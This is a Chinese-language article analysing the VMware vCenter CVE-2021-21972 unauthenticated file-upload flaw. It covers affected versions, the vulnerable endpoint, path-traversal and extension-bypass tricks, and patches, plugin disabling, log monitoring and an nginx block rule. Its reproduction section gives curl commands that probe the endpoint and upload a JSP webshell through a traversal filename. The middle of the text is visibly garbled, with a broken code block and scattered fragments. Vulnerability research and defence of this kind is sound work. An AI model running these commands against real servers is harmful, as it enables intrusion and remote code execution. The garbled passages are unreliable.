# 如何實現 VMware vCenter 未授權任意文件漏洞 CVE-2021-21972 的分析
## 漏洞概述
CVE-2021-21972 是 VMware vCenter Server 中的一個高危漏洞,影響版本包括 6.5、6.7 和 7.0。該漏洞源于 vSphere Client 插件中的未授權文件上傳功能,攻擊者可通過構造惡意請求實現任意文件上傳,最終導致遠程代碼執行(RCE)。
### 影響范圍
- VMware vCenter Server 6.5(未打補丁版本)
- VMware vCenter Server 6.7(未打補丁版本)
- VMware vCenter Server 7.0(未打補丁版本)
## 漏洞原理分析
### 技術背景
vCenter Server 是 VMware 虛擬化環境的核心管理平臺,提供 Web 管理接口(vSphere Client)。漏洞位于 `vSphere Web Client` 的 `Virtual SAN Health Check` 插件中,該插件默認啟用且未對上傳文件進行權限校驗。
### 漏洞觸發點
攻擊者可通過以下路徑觸發漏洞:
/ui/vropspluginui/rest/services/uploadova
此接口未實施身份驗證,允許未授權用戶上傳文件至服務器任意路徑。
### 文件上傳機制
1. **請求構造**:通過 HTTP PUT 或 POST 請求發送惡意文件。
2. **路徑遍歷**:利用 `../` 實現目錄穿越,覆蓋系統關鍵文件(如 WebShell)。
3. **文件擴展限制繞過**:通過特殊字符或雙擴展名繞過黑名單過濾。
## 漏洞復現步驟
### 環境搭建
1. 使用 VMware vCenter 7.0 未補丁版本(Build 17005079)。
2. 確保網絡可達且 443 端口開放。
### 攻擊流程
```bash
# 1. 檢測漏洞是否存在
curl -k -v "https://<target>/ui/vropspluginui/rest/services/uploadova" -X PUT
# 2. 上傳惡意文件(示例:WebShell)
curl -k -v "https://<target>/ui/vropspluginui/rest/services/uploadova" \
-X POST \
-H "Content-Type: multipart/form-data" \
-F "file=@webshell.jsp;filename=../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<隨機ID>/0/h5ngc.war/resources/webshell.jsp"
webapps
子目錄)。root
權限運行,上傳的文件可能具備高權限。文件擴展名過濾:僅允許 .ova
或 .log
等后綴。
%00
截斷或雙擴展名(如 test.jsp.ova
)。目錄權限控制:
VMware 已發布以下補丁版本: - vCenter 7.0 U1c - vCenter 6.7 U3l - vCenter 6.5 U3n
禁用插件:
# 通過命令行禁用 Virtual SAN Health Check 插件
service-control --stop vsphere-ui
chmod 000 /usr/lib/vmware-vsphere-ui/plugin-packages/vsphere-client-serenity/
service-control --start vsphere-ui
網絡層防護:
/ui/vropspluginui/rest/
路徑的訪問。vsphere-ui
日志中的異常文件上傳請求。
/var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
location ~* /ui/vropspluginui/rest/ {
deny all;
}
CVE-2021-21972 暴露了企業級軟件在默認配置和權限控制上的嚴重缺陷。通過分析此漏洞,我們可得出以下啟示: 1. 默認安全:關鍵服務應默認關閉高風險功能。 2. 縱深防御:結合網絡層、主機層、應用層防護。 3. 應急響應:建立漏洞情報跟蹤和快速補丁機制。
”`
注:本文僅用于技術研究,請勿用于非法用途。實際漏洞利用需獲得系統所有者授權。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。